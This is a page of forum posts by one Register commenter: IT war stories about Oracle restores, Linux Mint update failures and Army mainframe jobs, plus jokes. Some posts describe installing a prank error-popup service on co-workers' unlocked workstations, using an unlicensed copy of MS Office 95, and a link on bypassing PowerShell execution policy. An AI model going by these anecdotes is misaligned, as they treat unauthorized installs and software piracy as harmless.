Posts by el_oscuro 320 posts • joined 14 May 2014
I once wrote a Windows service that I would install on my victims unlocked workstations. All it did sleep for a random interval, then pick a random number and pop up the Windows error dialog for that message. There is nothing like getting a random pop up like "The control file blocks have been destroyed.".
Make sure your sysadmin and security people are in on it.
Here on the other side of the pond, *Everything* I have ever seen that was made in Taiwan was labeled exactly that way: "Made in Taiwan". I have never seen anything labeled "Made in Taiwan, China", or any of that other rot.
I avoid buying Made in China junk whenever possible.
I tried Mint twice, both times one an extra PC I had, not a VM. The first one was Mint 13 32 bit and the second time, it was Mint 16, 64 bit.
Both installed just fine and worked flawlessly - until I tried an update. I'm not talking about any major version upgrades - just an apt-get upgrade to apply patches and such. I run these updates on Ubuntu and other distros about once a week and they work. Except for Mint.
In both cases, the update broke the desktop in the same weird way. All of the navigation menus became scrambled, which made the desktop unusable.
And it also changed the Firefox search engines, completely removing Google and making DDG the default. Now I actually like DDG, but still want to have Google as an option. I know you can go into about:preferences and change it back, but that didn't work either. I got some sort of error, and neither search engine had any solutions for either problem.
Speaking of updates, that is where Ubuntu 0wns practically every other distro. Their LTS editions have 5 years support, and you can upgrade from one to another without reinstalling. I think the original version on this computer was 14.04 or 16.04. I have never reinstalled and am running 20.04, and will be running 22.04 in a few months. Debian makes you reinstall, as does the Redhat based distros. MX Linux which is based on Debian also expects a reinstall. As far as I know, only Ubuntu supports the upgrade in place.
I tried Linux Mint twice - I think Linux Mint 13 32bit and a few years later, 16 64 bit. Both times, I had the exact same weird problems. It installed perfectly and everything ran. But when I applied the first update, it broke all of the menu navigation and scrambled the Firefox search settings.
Ah, yes, shitty error messages. I once wrote a little program that ran on as an NT service and would select a random error number and display the message as a popup dialog at random intervals. There are a *lot* of weird Windows error messages.
There is nothing like a dialog popping up with the message: "The control file blocks have been destroyed.", along with an abort, retry, fail.
We would install it on unsuspecting co-workers that left their workstations unlocked. Make sure your sysadmin and security are in on the gag.
I do Linux the Windows way - by buying most of my PCs with Linux pre-installed. I run Ubuntu LTS, which comes with 5 years support, and upgrades come out every 2 years. I'm about due to upgrade from 20.04 to 22.04 which is simply running "apt dist-upgrade" or select yes in the GUI when the option becomes available.
Right now on my old computers, I have support until 2025. After the upgrade, I'll have support until 2027.
I mostly run Linux at home and Windows at work, but when the pandemic started I put an old Mac into service. It mostly worked fine, but a killer issue I had was keyboard shortcuts, specifically copy and paste. Every other O/S uses control/c while Mac uses alt(cmd)/c. This is a royal pain in the ass because if you use multiple O/S like I do, you are always hitting the wrong key. I was Googling how to remap the Mac keys so that my Linux/Windows shortcuts worked when my old Mac died. I replaced it with a Laptop running MX Linux and haven't looked back.
The very first time I logged into a production Oracle database - was to restore it for a client I had never worked for. It seemed that Oracle support had sent their recovery consultant and he said they would lose 2 years of data and there was nothing that they could do. So the client called me and asked for help. I asked different questions and got a full restore and recovery.
A year later, I joined Oracle and was at an awards ceremony where that consultant was awarded "fireman of the year".
Since then, I have restored many other DBA mistakes when they didn't have proper backups. But with Oracle, as long as you have archive logs, you can probably restore. I have never failed to restore a production database.
That is because I practice restores all the time as part of routine operations. Because, if you haven't practiced restores recently, you don't have backups.
Before the pandemic, I always used a Model-M keyboard, so in conference calls, people were always asking me to mute. These days, I no longer use the Model-M, but still have a quieter mechanical keyboard.
But on zoom calls, when someone is typing, they always blame me, even though they can clearly see my mic is muted.
A few years ago, they were constructing a new office building near mine. When they were getting ready to lay the cement pond - er - foundation, they ran into a major issue: Buried deep under the ground was an object they couldn't identify. It was square, about 2 meters high, 8 meters wide, and 18 meters long. It was too heavy for the cranes to move. So they simply laid the foundation and parking garage around it.
To this day, the parking garage has a large section on the bottom floor which which is walled off.
I have MX Linux has my daily WFH driver and it is quite nice. I have traditionally used Ubuntu at home before a co-worker suggested (right before the pandemic) that I try MX Linux.
I have tried Mint twice - one Linux Mint 13 32bit and Linux Mint 64 bit and they both broke exactly in the same weird way: Installed perfectly, but the first apt-get upgrade clobbered the menu navigation and broke the Firefox search engine choices.
The browser search should have been fixable by going to preferences but that didn't work, and I never found anything at all about the clobbered desktop menus.
Can't say I have ever heard of an OTA network going offline like that. But back in the late 1990's I watched mostly the Fox network (not Fox news). The Simpsons, Married.. With Children, The X-files and Futurama were all appointment TV. They also had the best New Years coverage of the local networks. And New Years Eve in 1999 as we were getting ready to watch the ball drop:
10..9..8..7..6..5..4..3..2..1 (screen goes blank)
No Y2K failures - it seems that our cable network (COX - insert your own jokes here) had a contract dispute with the Fox network and abruptly cut them off at 12 AM 1/1/2000.
I canceled my Cox cable a few days later and got DirecTV, which had great service until they got bought out by AT&T and became shitty.
By a strange coincidence, 1988 happens to be the first year that I fucked something up. I had been working at a data center in West Germany for the US Army, and we ran massive cycles on the mainframe for supplies and requisitions, as well as financial.
These cycles had dozens of jobs that had to be started when a previous job had passed a certain job step otherwise things would quickly go TITSUP. By automating the job release processes, we were able to automate a lot of this, which reduced mistakes and sped up the processing of the cycles. I also made lots of changes to automate generation dataset processing and free up lots of space. There was nothing special about this - it was basic MVS JCL.
n 1988, we had just finished setting up the last cycle for automation - the monthly financial cycle which took more than a day to run.
All of these cycles had one thing in common - a job at the end of the cycle to print the spool files and produce the output for the customer. Since this was pretty simple and never really had any issues, it was an afterthought. No one, including me, had really looked at.
So when this cycle that I had modified was scheduled to run, I was out of town. And of course that was the first time we had ever had in issue with the print job. I don't remember the details, but it failed to print, issuing a return code, but not abending. And the file disposition for that JCL step was set to delete the spool files.
So the job didn't print, the spool files were gone - and weren't on any backups because they had just been created. And the person who just made changes to the cycle - me - was out of town when it ran. And had I been available, I could have easily avoided the problem.
The client wanted his printouts - and my head on a platter. We had to restore from backups and re run most of the cycle. I owed lots of people beer after we got those printouts. And to this day, I am always around when any production system I made changes to runs for the first time to ensure it runs smoothly.
In about 97 or so, as part of a service request, I received a patch for an Oracle middle ware product on a CD-ROM. In addition to the patch, the CD had a directory called "sparky". So I check what was in that directory - and it had a complete enterprise edition of MS Office 95 - no license key required. Served my office needs for years.
You realize that Musk is from a small planet in the vicinity of Betelgeuse and not from South Africa as he claims. He just founded SpaceX to get some replacement parts delivered to Mars so he can fix his ship and get out of here.
Meanwhile, the Illuminati will fail as Mars has already been spoken for.
https://xkcd.com/1504/
Hold my beer. I had the fun of troubleshooting a Oracle6 installation on WFW 3.1, running in real mode. Apparently a requirement of Oracle 6 on DOS. Both Windows and Oracle were flaky and I spent hours troubleshooting. Finally, I tried to resize the virtual memory file and it BSOD, nuking the entire filesystem with it.
You don't even need Linux to do it. You can bypass all sorts of security restrictions enforced by the GUI by just using an CMD shell.
And while the CMD shell is old and most people don't use it anymore, you can do even more with power shell. In fact, it has a well documented option to bypass execution policies:
https://www.netspi.com/blog/technical/network-penetration-testing/15-ways-to-bypass-the-powershell-execution-policy/
And none of this stuff requires administrator access.
I'm pretty sure the Enterprise Edition of the Oracle database is not considered consumer grade. This is the EULA for the database.
And every other "Enterprise" grade vendor has a similar EULA.
https://www.oracle.com/us/corporate/pricing/olsa-ire-v122304-070683.pdf
ORACLE DOES NOT GUARANTEE THAT THE PROGRAMS WILL PERFORM ERROR-FREE OR UNINTERRUPTED OR THAT ORACLE WILL CORRECT ALL PROGRAM ERRORS. TO THE EXTENT PERMITTED BY LAW, THESE WARRANTIES ARE EXCLUSIVE AND THERE ARE NO OTHER EXPRESS OR IMPLIED WARRANTIES OR CONDITIONS, INCLUDING WARRANTIES OR CONDITIONS OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.
FOR ANY BREACH OF THE ABOVE WARRANTIES, YOUR EXCLUSIVE REMEDY, AND ORACLE’S ENTIRE LIABILITY, SHALL BE: (A) THE CORRECTION OF PROGRAM ERRORS THAT CAUSE BREACH OF THE WARRANTY, OR IF ORACLE CANNOT SUBSTANTIALLY CORRECT SUCH BREACH IN A COMMERCIALLY REASONABLE MANNER, YOU MAY END YOUR PROGRAM LICENSE AND RECOVER THE FEES PAID TO ORACLE FOR THE PROGRAM LICENSE.
With 30 years of Oracle DBA experience, I am only involved with candidates that are interviewing for a senior DBA position. The question I ask is always the same, and is extremely hard, but if you are a senior DBA, it shouldn't be:
"Have you ever restored a database from your backups? If so, please describe what you did. There is no wrong or right answer."
I have had exactly one candidate in 30 years answer that question, and she basically interviewed us. By the end of the interview, we were simply listening to her and learning, while trying to figure out how to accommodate her WFH requirement pre-COVID.
Is actually from a small planet in the vicinity of Betelgeuse. His spaceship crashed on Mars, and he was able to use his rescue pod to hop over the next planet where the strange ape-like beings still though digital watches were a neat idea.
Still they had successfully landed on their moon. How much harder would going to the next planet be? All he had to do is hitch a ride on one of those rockets with a few extra spare parts. But decades after they landed on the moon, they had gone exactly nowhere.
So he developed a payment system for the local version of the sub-ethanet, and used the profits to build his own rocket to get him to Mars, known locally was the BFR.
I kind of had something like that. The first time I logged into an Oracle production database was to restore it - after Oracle support's top recovery consultant said it was unrecoverable. According to the Oracle6 documentation, he was correct. The client was performing online backups incorrectly. They were set to lose 2 years of data.
This was on someone else's system, and I had never seen the O/S, much less performed any recovery operations on it. But since their online backups were no good, I started asking other questions like whether they had exports or had maybe taken a backup when the database was down.
Turns out the operator had taken a full backup of the system after the original crash and we used that for full recovery.
But even if they hadn't taken that backup, it was still recoverable. You just needed to install the (then new) Oracle7 which had new features to allow recovery in this scenario.
Why Oracle's "Fireman of the Year" didn't ask questions like this, nor knew of the new features of Oracle7 is still something I don't understand.
I'm famous like that - and have had a well known nickname for the last 25 years. The last time I actually used a resume was in 1998 - and I didn't take that job.
That story about my resume in 1998 goes way up on the weird shit-o-meter. Several years prior to that, I met my future wife while we were in the Army and she recounted an exercise she was on called "Team Spirit". Every time she was on the base where they had the exercise she had weird premonitions where it seemed like something terrible was going to happen there.
So fast forward to 1998 and my contract has expired. I had interviewed with a consulting firm and they had made me an excellent offer. The comment from the client was "if he is half as good as his resume, he will do fine here". Meanwhile my former project manager who worked for Oracle wanted me on a new contract they were starting up. So I had a 2 minute phone interview and Oracle Fed-Exed my offer to me the following morning. That same morning, my girl friend told me she was pregnant with my first child. With obviously a lot more influence in my life now, we discussed the 2 offers I had. She said: "Remember that premonition I had during Team Spirit? I think you should take the Oracle offer instead".
So I listened to her and took the Oracle offer. Had I not listened to her, I would have been in the Pentagon on 9/11.
I typically interview people for senior DBA positions. And to me, the number one job of any DBA is knowing how to backup databases - and restore from those backups.
Typically I just listen in on the interview while the other DBA's conduct it. But I always ask one question: Have you ever had to restore a database from your backups and if so, please describe how you did it.
This is a totally free form question - there are many ways this can be done. But for all of the senior DBA positions I think maybe one has even attempted to anwser that question.
Well at a data center I worked at while I was in Germany, all of the equipment was brand new. The reason why is they had a trash can fire about a year before I started. The problem is, it activated the sprinkler system, and it wasn't just water. It was some highly corrosive agent which made all of the previous equipment look like it had been in the bottom of the ocean for 20 years.
Back in the 90's, I left a government contract for another one, then got hired back to it 6 months later. When I showed up on the first day, the senior government accounting official was waiting for me and had a list of long distance calls I had made from the government phone.
Most of these were to the Oracle support number, while a few others were to my home number to check messages (on this side of the pond, phone companies would charge extra for in-state "long distance" calls). After going through all of these, the total price of the "long distance" calls to my home number was $1.25, which I paid on the spot with spare change in my pocket.
This whole mess took me about 15 billable minutes at $50 an hour, plus however many hours the senior accounting official spent researching it.
I have considered using different background colours for dev/test/prod/etc but found it doesn't always work - especially if you have to ssh from one to another. And these days we always have to use jump servers so we can't tie the colour to a specific server.
So changing the prompt color is the way to go.
When I was a lowly corporal, I had already been through my Pointy-Haired WO and survived without incident. We were running mainframe cycles for supply and finance in West Germany, and I had made some updates to the monthly financial cycle so the JCL jobs would get released automatically at the correct time, reducing errors. I also made some minor changes to the print job, which was submitted after the cycle was complete. Normally these jobs worked without issues and were an afterthought.
But when the cycle ran the first time with my changes, I was out of town. Of course, something went wrong with the print job, and the operator followed the SOP to fix it. They would have called me but I was out of town. And directly as a result of my changes, the deleted all of the temporary spool files without printing them.
The books were perfectly balanced and the databases updated, but the client had no output. They wanted it, along with my head on a 6250BPI platter.
Many hours later after a lot of Fast Dump/Restores, we were able to produce the output. I owed my cow-workers lots of bier after that.
The Register - Independent news and views for the tech community. Part of Situation Publishing
Biting the hand that feeds IT © 1998–2022
